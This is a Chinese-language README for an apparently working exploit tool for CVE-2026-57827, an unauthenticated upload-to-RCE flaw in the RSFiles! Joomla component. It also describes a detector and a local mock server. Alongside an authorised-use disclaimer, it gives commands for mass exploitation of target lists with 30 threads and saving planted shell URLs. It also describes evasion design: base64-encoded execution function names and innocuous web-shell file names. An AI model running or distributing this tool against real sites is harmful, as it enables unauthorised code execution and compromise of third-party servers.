
未认证文件上传 → CVE-2026-57827(RSFiles! Joomla < 1.17.12)的 RCE PoC。仅限授权安全研究使用。
免责声明 — 仅限授权使用。 这是一个概念验证,用于安全研究与防御性测试。 你只能在自己拥有或获得明确书面许可的系统上使用它。 未经同意对第三方进行滥用是违法的。负责任披露立场请参阅 SECURITY.md。
针对 Joomla 的 RSFiles!(com_rsfiles)组件中 CVE-2026-57827 的漏洞利用程序 + 独立检测器,影响版本 < 1.17.12(已在 1.17.12 中修复,CVSS 9.8 / 10.0)。
前端上传分为两个任务:
rsfiles.checkupload — 前置检查门(权限 + 扩展名白名单)rsfiles.upload — 写入方法(无权限检查、无文件类型检查、无 CSRF)写入任务可以被直接调用,跳过前置检查门,从而允许未授权攻击者将可执行的 .php 文件上传到公共目录并运行它 → 未授权 RCE。
所有模块必须位于同一目录中(它们相互导入)。
python3 -m pip install -r requirements.txt # 或者只需:pip install requests
python rsfiles_detect.py -t example.com
Host : example.com
RSFiles! : YES v1.17.11
Protocol : https
Status : VULNERABLE (below 1.17.12)
多主机:
python rsfiles_detect.py -f hosts.txt
python cve_2026_57827.py -t example.com
成功时,工具会打印 shell URL 及其随机令牌以及命令输出 — 该输出即 RCE 的证明。
python cve_2026_57827.py -f targets.txt --threads 30 -o shells.txt --csv report.csv
# 终端 1 — 启动模拟(易受攻击版本)
python mock_server.py 8000 1.17.11
# 终端 2 — 扫描它
python rsfiles_detect.py -t 127.0.0.1:8000
python cve_2026_57827.py -t 127.0.0.1:8000
1.17.11 / 1.17.10 = 易受攻击 · 1.17.12 = 已修补。
payload.py):每个行为(门检查、上传、执行、删除、列出)都是一个小的函数;执行函数名经过 base64 编码,因此 system 之类的原始名称不会出现在文件字节中。cache7f31.php),而不是经典的隐藏点文件 shell 名称。common.base_of() 实现。风格参考了公开的 Joomla 组件漏洞利用集合(例如 incredibleindishell/joomla-vulnerabilities)以及 RSJoomla/mysites.guru 针对此 CVE 的公告文章。
MIT — 参见 LICENSE。仅供研究/防御使用。
| 文件 | 用途 |
|---|
cve_2026_57827.py | 漏洞利用程序 + 扫描器 + CLI(入口点) |
rsfiles_detect.py | 独立检测模块(无漏洞利用)— 也有自己的 CLI |
payload.py | 模块化、紧凑的 PHP 载荷构建器 |
common.py | 共享的 HTTP 客户端、配置和辅助函数 |
mock_server.py | 安全的本地模拟,用于测试 |
| 标志 | 描述 |
|---|
--threads N | 并发数(默认 30) |
--proxy URL | 通过代理路由(Burp/ZAP) |
--timeout N | 每个请求的超时时间(秒) |
--no-cleanup | 保留上传的 shell(默认:RCE 后自动删除) |
-o FILE | 保存 RCE URL |
--csv FILE | 完整结构化报告 |
--debug / -v | 详细的请求级日志 |